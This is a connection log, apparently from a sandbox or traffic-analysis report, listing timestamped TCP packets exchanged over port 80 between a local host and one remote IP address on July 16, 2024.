Jul 16, 2024 22:29:51.018743992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018754959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018795967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018810987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018826008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018838882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018883944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.019035101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019051075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019102097 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.019517899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019608021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019623041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019654036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.019681931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019695997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019723892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.019799948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019817114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019845963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.019949913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019964933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019979000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019994020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.019998074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020009041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020035028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020080090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020176888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020191908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020256996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020296097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020311117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020355940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020391941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020406008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020421982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020446062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020642042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020658016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020673037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020688057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020690918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020704031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020719051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020729065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020734072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020747900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020764112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.020772934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020797968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.020828962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.021434069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021517038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021532059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021573067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.021610975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021625996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021641970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021656990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.021656990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021702051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.021883965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021898985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021907091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021920919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021935940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021950960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.021951914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.021980047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022150040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022202015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022237062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022250891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022264957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022279978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022291899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022295952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022311926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022320986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022327900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022358894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022579908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022595882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022609949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022628069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022634983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022650003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022658110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022665024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022680044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022695065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022696972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022711992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.022723913 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.022752047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023058891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023185968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023200989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023216009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023231030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023236036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023246050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023261070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023263931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023276091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023292065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023307085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023310900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023333073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023355961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023773909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023796082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023811102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023825884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023840904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023844004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023854971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023869991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023885012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023885012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023900986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023907900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023920059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023921967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023942947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023951054 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.023958921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023972988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023987055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.023999929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024000883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024015903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024040937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024684906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024699926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024713993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024728060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024741888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024743080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024756908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024771929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024786949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024791956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024801970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024817944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024821043 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024832010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024844885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.024848938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.024872065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.072319984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107497931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107537031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107589960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107624054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107659101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107692957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107698917 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107727051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107741117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107741117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107764006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107810020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107810020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107842922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.107894897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.107969046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108000994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108032942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108045101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.108067036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108102083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108118057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.108814955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108869076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108880997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.108903885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108953953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.108956099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.108988047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109020948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109033108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109055042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109103918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109114885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109160900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109194994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109210014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109229088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109273911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109380960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109395981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109411001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109425068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109440088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109441996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109471083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109549999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109563112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109592915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109694004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109709024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109724045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109735966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109739065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109755039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109769106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109770060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109797955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.109978914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.109992027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110007048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110023022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110030890 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110035896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110053062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110053062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110081911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110136986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110162973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110177040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110184908 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110305071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110708952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110781908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110799074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110825062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110851049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110898018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.110937119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110953093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110968113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110980988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.110991955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111027956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111164093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111179113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111193895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111208916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111221075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111224890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111253023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111366034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111382008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111407042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111641884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111690998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111700058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111715078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111752987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111856937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111871958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111885071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111898899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111913919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.111933947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.111982107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112015009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112030029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112044096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112056971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112060070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112088919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112252951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112268925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112304926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112317085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112365007 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112413883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112428904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112443924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112459898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112468004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112508059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112716913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112731934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112746954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112762928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112777948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112793922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112808943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.112833977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.112878084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113117933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113132954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113147020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113162041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113164902 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113177061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113193035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113202095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113208055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113223076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113236904 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113238096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113254070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113265991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113292933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113575935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113591909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113605976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113620996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113621950 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113636971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113668919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113703966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113922119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113936901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113950968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113966942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113979101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.113982916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.113998890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114006996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114013910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114028931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114042997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114043951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114058018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114068031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114072084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114098072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114304066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114317894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114331961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114346027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114348888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114362001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114367962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.114376068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.114403963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.166002035 CEST	49730	80	192.168.2.4	23.227.193.59
